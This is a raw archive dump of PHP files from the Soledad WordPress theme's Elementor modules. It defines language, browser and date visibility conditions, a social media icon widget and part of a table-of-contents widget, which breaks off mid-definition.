			'sr_RS' => array( 'name' => 'Serbian', 'code' => 'sr', 'wp_locale' => 'sr_RS', ),
			'sk_SK' => array( 'name' => 'Slovak', 'code' => 'sk', 'wp_locale' => 'sk_SK', ),
			'sl_SI' => array( 'name' => 'Slovenian', 'code' => 'sl', 'wp_locale' => 'sl_SI', ),
			'azb'   => array( 'name' => 'South Azerbaijani', 'code' => 'azb', 'wp_locale' => 'azb', ),
			'es_ES' => array( 'name' => 'Spanish (Spain)', 'code' => 'es', 'wp_locale' => 'es_ES', ),
			'sv_SE' => array( 'name' => 'Swedish', 'code' => 'sv', 'wp_locale' => 'sv_SE', ),
			'th'    => array( 'name' => 'Thai', 'code' => 'th', 'wp_locale' => 'th', ),
			'tr_TR' => array( 'name' => 'Turkish', 'code' => 'tr', 'wp_locale' => 'tr_TR', ),
			'uk'    => array( 'name' => 'Ukrainian', 'code' => 'uk', 'wp_locale' => 'uk', ),
			'vi'    => array( 'name' => 'Vietnamese', 'code' => 'vi', 'wp_locale' => 'vi', ),
		);

		foreach ( $langs as $lang => $props ) {
			/* translators: %s: Language Name */
			$val                   = ucwords( $props['name'] );
			$lang_locales[ $lang ] = $val;
		}

		return array(
			'label'       => __( 'Value', 'soledad' ),
			'type'        => Controls_Manager::SELECT2,
			'label_block' => true,
			'default'     => array(),
			'options'     => $lang_locales,
			'multiple'    => true,
		);
	}

	/**
	 * Check the condition
	 *
	 * @param string $relation Comparison operator for compare function
	 * @param mixed $val will check the control value as per condition needs
	 *
	 */
	public function check( $relation, $val ) {
		$current_language = function_exists( 'get_locale' ) ? get_locale() : false;

		if ( ! $current_language || empty( $val ) ) {
			return;
		}

		$show = in_array( $current_language, (array) $val, true ) ? true : false;

		return $this->compare( $show, true, $relation );
	}
}
PK     1w\Q#!K	  	  B  elementor/modules/penci-visibility-controls/conditions/browser.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Browser extends Condition {

	
	public function get_name() {
		return 'browser';
	}

	
	public function get_title() {
		return esc_html__( 'Browser', 'soledad' );
	}

	
	public function get_group() {
		return 'system';
	}

	
	public function get_control_value() {
		return [
			'type'        => Controls_Manager::SELECT,
			'default'     => array_keys( $this->get_browser_options() )[0],
			'label_block' => true,
			'options'     => $this->get_browser_options(),
		];
	}

	
	protected function get_browser_options() {
		return [
			'ie'      => 'Internet Explorer',
			'firefox' => 'Mozilla Firefox',
			'chrome'  => 'Google Chrome',
			'opera'   => 'Opera',
			'safari'  => 'Safari',
			'edge'    => 'Microsoft Edge',
		];
	}

	
	public function check( $relation, $val ) {
		$browsers = [
			'ie'      => [ 'MSIE', 'Trident', ],
			'firefox' => 'Firefox',
			'chrome'  => 'Chrome',
			'opera'   => 'OPR',
			'safari'  => 'Safari',
			'edge'    => [ 'Edg', 'Edge' ],
		];

		$show = false;

		if ( 'ie' === $val || 'edge' === $val ) {
			if ( false !== strpos( $_SERVER['HTTP_USER_AGENT'], $browsers[ $val ][0] ) || false !== strpos( $_SERVER['HTTP_USER_AGENT'], $browsers[ $val ][1] ) ) {
				$show = true;
			}
		} elseif ( 'opera' === $val ) {
			if ( false !== strpos( $_SERVER['HTTP_USER_AGENT'], 'OPR' ) ) {
				$show = true;
			}
		} elseif ( 'chrome' === $val ) {
			if ( false !== strpos( $_SERVER['HTTP_USER_AGENT'], 'Chrome' ) ) {
				$show = true;
				if ( false !== strpos( $_SERVER['HTTP_USER_AGENT'], 'OPR' ) ) {
					$show = false;
				}
				if ( false !== strpos( $_SERVER['HTTP_USER_AGENT'], 'Edg' ) ) {
					$show = false;
				}

			}
		} elseif ( 'firefox' === $val ) {
			if ( false !== strpos( $_SERVER['HTTP_USER_AGENT'], 'Firefox' ) ) {
				$show = true;
			}
		} elseif ( 'safari' === $val ) {
			if ( false !== strpos( $_SERVER['HTTP_USER_AGENT'], 'Safari' ) ) {
				$show = true;
				if ( false !== strpos( $_SERVER['HTTP_USER_AGENT'], 'Chrome' ) ) {
					$show = false;
				}
			}
		}

		return $this->compare( $show, true, $relation );
	}
}
PK     1w\[f    ?  elementor/modules/penci-visibility-controls/conditions/date.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use DateTime;
use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Date extends Condition {

	
	public function get_name() {
		return 'date';
	}

	
	public function get_title() {
		return esc_html__( 'Date Range', 'soledad' );
	}

	
	public function get_group() {
		return 'date_time';
	}

	
	public function get_control_value() {
		$default_date_start = date( 'Y-m-d', strtotime( '-3 day' ) + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );
		$default_date_end   = date( 'Y-m-d', strtotime( '+3 day' ) + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );
		$default_interval   = $default_date_start . ' to ' . $default_date_end;

		return [
			'label'          => esc_html__( 'In interval', 'soledad' ),
			'type'           => Controls_Manager::DATE_TIME,
			'dynamic'        => [ 'active' => true ],
			'picker_options' => [
				'enableTime' => false,
				'mode'       => 'range',
			],
			'label_block'    => true,
			'default'        => $default_interval,
		];
	}

	
	public function check( $relation, $val ) {

		if ( ! $val ) {
			return;
		}

		$range = explode( 'to', preg_replace( '/\s+/', '', $val ) );

		if ( ! is_array( $range ) || 2 !== count( $range ) ) {
			return;
		}

		$start_date = $range[0];
		$end_date   = $range[1];
		$today      = date( 'Y-m-d' );

		if ( DateTime::createFromFormat( 'Y-m-d', $start_date ) === false || // Make sure it's a date
		     DateTime::createFromFormat( 'Y-m-d', $end_date ) === false ) // Make sure it's a date
		{
			return;
		}

		$start_date = strtotime( $start_date ) + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
		$end_date   = strtotime( $end_date ) + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
		$today      = strtotime( $today ) + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );

		$show = ( ( $today >= $start_date ) && ( $today <= $end_date ) );

		return $this->compare( $show, true, $relation );
	}
}
PK     1w\p    /  elementor/modules/penci-social-media/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciSocialMedia;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-social-media';
	}

	public function get_widgets() {
		return array( 'PenciSocialMedia' );
	}
}
PK     1w\7M*  M*  C  elementor/modules/penci-social-media/widgets/penci-social-media.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciSocialMedia\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Group_Control_Typography;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciSocialMedia extends Base_Widget {

	public function get_name() {
		return 'penci-social-media';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Widget Social Media', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-share';
	}

	public function get_categories() {
		return array( 'penci-elements' );
	}

	public function get_keywords() {
		return array( 'social media' );
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_general',
			array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'social_desc',
			array(
				'type'            => Controls_Manager::RAW_HTML,
				'raw'             => 'Note: You can setup the URL for each social media icon via <strongAppearance > Customize > Social Media</strong>',
				'content_classes' => 'elementor-descriptor',
			)
		);
		$this->add_control(
			'text_right',
			array(
				'label'     => __( 'Display Social Text on Right Icons', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);
		$this->add_control(
			'alignment',
			array(
				'label'   => __( 'Alignment', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'pc_alignleft',
				'options' => array(
					'pc_aligncenter' => esc_html__( 'Center', 'soledad' ),
					'pc_alignleft'   => esc_html__( 'Left', 'soledad' ),
					'pc_alignright'  => esc_html__( 'Right', 'soledad' ),
				),
			)
		);
		$this->add_control(
			'dis_circle',
			array(
				'label'     => __( 'Remove Border Around Icons ?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);
		$this->add_control(
			'dis_border_radius',
			array(
				'label'     => __( 'Remove Border Radius on Border of Icons ?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);
		$this->add_control(
			'brand_color',
			array(
				'label'     => __( 'Use Brand Colors for Social Icons ?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);
		$this->add_responsive_control(
			'size_icon',
			array(
				'label'     => __( 'Custom Font Size for Icons', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 100,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .widget-social i'   => 'font-size: {{SIZE}}px;',
					'{{WRAPPER}} .widget-social svg' => 'width: {{SIZE}}px; height: auto;',
				),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'size_text',
				'label'    => __( 'Typography for Text', 'soledad' ),
				'selector' => '{{WRAPPER}} .widget-social span',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_show_socials',
			array(
				'label' => __( 'Socials', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$show_socials = $this->get_show_socials();
		$socials      = get_option( 'penci_custom_socials', array() );

		if ( ! empty( $socials ) ) {
			foreach ( $socials as $slug => $attr ) {
				$show_socials[ 'Show ' . $attr['name'] ] = $slug;
			}
		}

		foreach ( $show_socials as $social_label => $social_key ) {
			$default = '';
			if ( in_array( $social_key, array( 'facebook', 'twitter', 'instagram' ) ) ) {
				$default = 'yes';
			}

			$this->add_control(
				$social_key,
				array(
					'label'     => $social_label,
					'type'      => Controls_Manager::SWITCHER,
					'label_on'  => __( 'Yes', 'soledad' ),
					'label_off' => __( 'No', 'soledad' ),
					'default'   => $default,
				)
			);
		}
		$this->end_controls_section();

		$this->register_block_title_section_controls();
		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'social_text_color',
			array(
				'label'     => __( 'Icons Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .widget-social a i' => 'color: {{VALUE}};',
					'{{WRAPPER}} .widget-social a svg path' => 'fill: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'social_text_hcolor',
			array(
				'label'     => __( 'Icons Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .widget-social a:hover i' => 'color: {{VALUE}};',
					'{{WRAPPER}} .widget-social a:hover svg path' => 'fill: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'social_bodcolor',
			array(
				'label'     => __( 'Icons Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .widget-social a i' => 'border-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'social_hbodcolor',
			array(
				'label'     => __( 'Icons Border Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .widget-social a:hover i' => 'border-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'social_bgcolor',
			array(
				'label'     => __( 'Icons Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .widget-social a i' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'social_bghcolor',
			array(
				'label'     => __( 'Icons Hover Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .widget-social a:hover i' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'social_textcolor',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .widget-social.show-text a span' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'social_htextcolor',
			array(
				'label'     => __( 'Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .widget-social.show-text a:hover span' => 'color: {{VALUE}};' ),
			)
		);

		$this->end_controls_section();
		$this->register_block_title_style_section_controls();
	}

	protected function render() {
		$settings = $this->get_settings();

		$css_class = 'penci-block-vc penci-social-media';

		$class_socials  = ' widget-social';
		$class_socials .= $settings['alignment'] ? ' ' . $settings['alignment'] : '';
		$class_socials .= $settings['text_right'] ? ' show-text' : '';
		$class_socials .= $settings['dis_circle'] ? ' remove-circle' : '';
		$class_socials .= $settings['dis_border_radius'] ? ' remove-border-radius' : '';

		if ( $settings['brand_color'] && ! $settings['dis_circle'] ) {
			$class_socials .= ' penci-social-colored';
		} elseif ( $settings['brand_color'] && $settings['dis_circle'] ) {
			$class_socials .= ' penci-social-textcolored';
		}
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content<?php echo esc_attr( $class_socials ); ?>">
				<?php
				$social_data = penci_social_media_array();
				foreach ( $social_data as $name => $sdata ) {
					if ( isset( $settings[ $name ] ) && $settings[ $name ] ) {
						$icon_html = penci_icon_by_ver( $sdata[1] );
						?>
						<a href="<?php echo esc_url( do_shortcode( $sdata[0] ) ); ?>" aria-label="<?php echo ucwords( $name ); ?>" <?php echo penci_reltag_social_icons(); ?> target="_blank"><?php echo $icon_html; ?><span><?php echo ucwords( $name ); ?></span></a>
						<?php
					}
				}
				?>
			</div>
		</div>
		<?php
	}

	public function get_show_socials() {
		return array(
			'Show facebook'       => 'facebook',
			'Show twitter'        => 'twitter',
			'Show instagram'      => 'instagram',
			'Show pinterest'      => 'pinterest',
			'Show linkedin'       => 'linkedin',
			'Show behance'        => 'behance',
			'Show flickr'         => 'flickr',
			'Show tumblr'         => 'tumblr',
			'Show youtube'        => 'youtube',
			'Show email'          => 'email',
			'Show vk'             => 'vk',
			'Show bloglovin'      => 'bloglovin',
			'Show vine'           => 'vine',
			'Show soundcloud'     => 'soundcloud',
			'Show snapchat'       => 'snapchat',
			'Show spotify'        => 'spotify',
			'Show github'         => 'github',
			'Show Stack-overflow' => 'stack-overflow',
			'Show twitch'         => 'twitch',
			'Show vimeo'          => 'vimeo',
			'Show steam'          => 'steam',
			'Show xing'           => 'xing',
			'Show whatsapp'       => 'whatsapp',
			'Show telegram'       => 'telegram',
			'Show reddit'         => 'reddit',
			'Show ok'             => 'ok',
			'Show 500px'          => '500px',
			'Show stumbleupon'    => 'stumbleupon',
			'Show wechat'         => 'wechat',
			'Show weibo'          => 'weibo',
			'Show line'           => 'line',
			'Show viber'          => 'viber',
			'Show discord'        => 'discord',
			'Show rss'            => 'rss',
			'Show slack'          => 'slack',
			'Show mixcloud'       => 'mixcloud',
			'Show goodreads'      => 'goodreads',
			'Show tripadvisor'    => 'tripadvisor',
			'Show tiktok'         => 'tiktok',
			'Show dailymotion'    => 'dailymotion',
			'Show blogger'        => 'blogger',
			'Show delicious'      => 'delicious',
			'Show deviantart'     => 'deviantart',
			'Show digg'           => 'digg',
			'Show evernote'       => 'evernote',
			'Show forrst'         => 'forrst',
			'Show grooveshark'    => 'grooveshark',
			'Show lastfm'         => 'lastfm',
			'Show myspace'        => 'myspace',
			'Show paypal'         => 'paypal',
			'Show skype'          => 'skype',
			'Show window'         => 'window',
			'Show wordPress'      => 'wordPress',
			'Show yahoo'          => 'yahoo',
			'Show yandex'         => 'yandex',
			'Show douban'         => 'douban',
			'Show Threads'        => 'threads',
			'Show Yelp'        	  => 'yelp',
			'Show QQ'             => 'qq',
		);
	}
}
PK     1w\t  t  4  elementor/modules/penci-table-of-contents/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciTableOfContents;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-table-of-contents';
	}

	public function get_widgets() {
		return array( 'PenciTableOfContents' );
	}
}
PK     1w\[C  C  M  elementor/modules/penci-table-of-contents/widgets/penci-table-of-contents.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciTableOfContents\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Background;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class PenciTableOfContents extends Base_Widget {
	public function get_name() {
		return 'penci-table-of-contents';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Table of Contents', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-table-of-contents';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'table', 'content', 'index' ];
	}

	public function get_script_depends() {
		return [ 'jquery-ui-widget', 'penci-el-toc' ];
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_content_table_of_content',
			[
				'label' => esc_html__( 'Table of Content', 'soledad' ),
			]
		);

		$this->add_control(
			'selectors',
			[
				'label'       => __( 'Index Tags', 'soledad' ),
				'description' => __( 'If you want to exclude headings within a specific widget or element, edit that widget, go to the Advanced tab, and add the class <strong>ignore-this-tag</strong> to the CSS Classes field.', 'soledad' ),
				'type'        => Controls_Manager::SELECT2,
				'multiple'    => true,
				'default'     => [ 'h2', 'h3', 'h4' ],
				'options'     => [
					'h1' => 'H1',
					'h2' => 'H2',
					'h3' => 'H3',
					'h4' => 'H4',
					'h5' => 'H5',
					'h6' => 'H6',
				],
			]
		);

		$this->add_control(
			'offset',
			[
				'label'       => __( 'Scroll to Indexed Top Offset', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'separator'   => 'before',
				'description' => __( 'Scroll will stop after this offset from top', 'soledad' ),
				'default'     => [
					'size' => 10,
				],
				'range'       => [
					'px' => [
						'min' => 0,
						'max' => 250,
					],
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_additional_table_of_content',
			[
				'label' => esc_html__( 'General Options', 'soledad' ),
			]
		);

		$this->add_control(
			'context',
			[
				'label'       => __( 'Index Area (any class/id selector)', 'soledad' ),
				'description' => __( 'Any class or ID selector accept here for your table of content.', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'label_block' => true,
				'default'     => '.elementor',
				'placeholder' => '.elementor / #container',
			]
		);

		$this->add_control(
			'auto_collapse',
			[
				'label'     => esc_html__( 'Auto Collapse Sub Index', 'soledad' ),
				'separator' => 'before',
				'type'      => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'history',
			[
				'label'       => esc_html__( 'Click History', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'description' => esc_html__( 'Click History is the list of web pages a user has visited recently of Table Of Content. This feature also responsible for Hash Generator.', 'soledad' ),
			]
		);


		$this->add_control(
			'extend_page',
			[
				'label'       => esc_html__( 'Extend Page', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'default'     => 'yes',
				'description' => __( 'If a user scrolls to the bottom of the page and the page is not tall enough to scroll to the last table of contents item, then the page height is increased', 'soledad' ),
			]
		);

		$this->add_control(
			'toc_index_header',
			[
				'label'       => __( 'Index Header Text', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'label_block' => true,
				'default' 	  => 'Table of Contents',
				'separator'   => 'before',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_offcanvas',
			[
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'index_background',
			[
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-toc-wrapper' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'index_border',
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-toc-wrapper'
			]
		);

		$this->add_control(
			'index_radius',
			[
				'label'      => __( 'Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-toc-wrapper' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; overflow: hidden;',
				],
			]
		);

		$this->add_responsive_control(
			'index_padding',
			[
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-toc-wrapper' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'index_min_height',
			[
				'label'              => __( 'Min Height', 'soledad' ),
				'type'               => Controls_Manager::SLIDER,
				'size_units'         => [ 'px', 'vh' ],
				'range'              => [
					'px' => [
						'min' => 0,
						'max' => 1000,
					],
				],
				'selectors'          => [
					'{{WRAPPER}} .penci-toc-wrapper' => 'min-height: {{SIZE}}{{UNIT}}',
				],
				'frontend_available' => true,
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'index_box_shadow',
				'label'    => __( 'Box Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-toc-wrapper',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'header_style',
			[
				'label'     => __( 'TOC Heading', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'toc_index_header!' => '',
				],
			]
		);

		$this->add_control(
			'header_text_color',
			[
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-el-toc-table-of-content-header h4' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'header_background_color',
				'selector' => '{{WRAPPER}} .penci-el-toc-table-of-content-header',
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'header_border',
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-el-toc-table-of-content-header'
			]
		);

		$this->add_control(
			'header_radius',
			[
				'label'      => __( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-el-toc-table-of-content-header' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; overflow: hidden;',
				],
			]
		);

		$this->add_responsive_control(
			'header_padding',
			[
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-el-toc-table-of-content-header' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'header_margin',
			[
				'label'      => __( 'Margin', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-el-toc-table-of-content-header' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'header_box_shadow',
				'label'    => __( 'Box Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-el-toc-table-of-content-header',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'header_typography',
				'selector' => '{{WRAPPER}} .penci-el-toc-table-of-content-header, {{WRAPPER}} .penci-el-toc-table-of-content-header h4',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_list',
			[
				'label' => esc_html__( 'List of Contents', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'index_spacing',
			[
				'label'      => esc_html__( 'Title Spacing', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'range'      => [
					'px' => [
						'min' => 0,
						'max' => 20,
					],
				],
				'size_units' => [ 'px' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-toc-wrapper .penci-el-toc-table-of-content ul li' => 'padding: {{SIZE}}{{UNIT}} 0;',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'index_typography',
				'selector' => '{{WRAPPER}} .nav > li > a',
			]
		);

		$this->start_controls_tabs( 'index_title_style' );

		$this->start_controls_tab(
			'normal',
			[
				'label' => __( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'title_color',
			[
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .nav > li > a' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'index_title_underline_normal',
			[
				'label'     => __( 'Underline', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => [
					'{{WRAPPER}} .nav > li > a' => 'text-decoration: underline',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'hover',
			[
				'label' => __( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'index_title_color_hover',
			[
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .nav > li > a:hover' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'index_title_underline_hover',
			[
				'label'     => __( 'Underline', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => [
					'{{WRAPPER}} .nav > li > a:hover' => 'text-decoration: underline',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'active',
			[
				'label' => __( 'Active', 'soledad' ),
			]
		);

		$this->add_control(
			'title_active_color',
			[
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .nav > li.penci-el-toc-active > a' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'index_title_underline_active',
			[
				'label'     => __( 'Underline', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => [
					'{{WRAPPER}} .nav > li.penci-el-toc-active > a' => 'text-decoration: underline',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_ofc_btn',
			[
				'label'     => esc_html__( 'Button', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'layout!' => [ 'fixed', 'regular' ]
				]
			]
		);

		$this->start_controls_tabs( 'tabs_ofc_btn_style' );

		$this->start_controls_tab(
			'tab_ofc_btn_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'button_color',
			[
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'button_background',
			[
				'label'     => __( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'button_border',
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button'
			]
		);

		$this->add_responsive_control(
			'button_radius',
			[
				'label'      => __( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; overflow: hidden;',
				],
			]
		);

		$this->add_responsive_control(
			'button_padding',
			[
				'label'      => __( 'Padding', 'soledad' ),
